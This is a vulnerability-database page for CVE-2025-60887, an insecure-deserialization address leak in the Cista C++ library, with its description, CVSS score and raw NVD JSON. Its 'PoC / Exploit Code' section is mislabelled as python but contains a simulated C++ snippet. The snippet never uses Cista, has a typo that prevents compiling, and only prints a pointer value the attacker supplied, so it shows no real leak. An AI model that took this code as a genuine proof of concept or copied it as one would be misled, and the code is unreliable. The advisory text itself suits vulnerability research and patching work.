Security Vulnerability Report
中文
CVE-2025-60887 CVSS 5.3 MEDIUM

CVE-2025-60887

Published: 2026-04-28 16:16:06
Last Modified: 2026-04-28 20:18:13

Description

An issue was discovered in Cista v0.15 and below. Insecure deserialization of untrusted input under certain conditions may lead to leaking of stack/heap addresses which may be used to bypass ASLR. Classes with pointer-like mechanics under the cista::raw namespace are prone to reference tampering, where Cista does not perform sufficient checks to safeguard against self-referencing pointers and referencing other data within the payload. The leak occurs if the deserialized values are observable by the attacker.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Cista <= v0.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <iostream> #include <vector> #include <cstdint> // Simulated Cista structure vulnerable to the issue // In a real scenario, this would use cista::raw types struct VulnerableStruct { int data; uintptr_t* ptr; // Pointer member that can be tampered with }; // Conceptual PoC for CVE-2025-60887 // Demonstrating how deserialization of untrusted data leaks addresses void demonstrate_leak() { // 1. Attacker crafts malicious payload containing a fake pointer // In a real exploit, this is a byte stream designed to map to a specific memory address std::vector<uint8_t> malicious_payload = { 0x01, 0x00, 0x00, 0x00, // data = 1 0x00, 0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC, 0xDE // Fake address (Little Endian) }; // 2. Vulnerable deserialization (simulated) // Cista v0.15 does not validate if 'ptr' points to valid stack/heap within allowed range VulnerableStruct* deserialized = reinterpret_cast<VulnerableableStruct*>(malicious_payload.data()); // 3. The application uses the deserialized object // If the application logs or outputs the pointer value, the address is leaked. std::cout << "Deserialized Data: " << deserialized->data << std::endl; std::cout << "Leaked Address (Pointer Value): 0x" << std::hex << deserialized->ptr << std::endl; // 4. Attacker uses this address to bypass ASLR } int main() { demonstrate_leak(); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60887", "sourceIdentifier": "[email protected]", "published": "2026-04-28T16:16:05.597", "lastModified": "2026-04-28T20:18:13.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Cista v0.15 and below. Insecure deserialization of untrusted input under certain conditions may lead to leaking of stack/heap addresses which may be used to bypass ASLR. Classes with pointer-like mechanics under the cista::raw namespace are prone to reference tampering, where Cista does not perform sufficient checks to safeguard against self-referencing pointers and referencing other data within the payload. The leak occurs if the deserialized values are observable by the attacker."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "http://cista.com", "source": "[email protected]"}, {"url": "https://gist.github.com/TrebledJ/66cc0ed37bdb3e70ce0ef98396790771", "source": "[email protected]"}, {"url": "https://gist.github.com/TrebledJ/66cc0ed37bdb3e70ce0ef98396790771", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}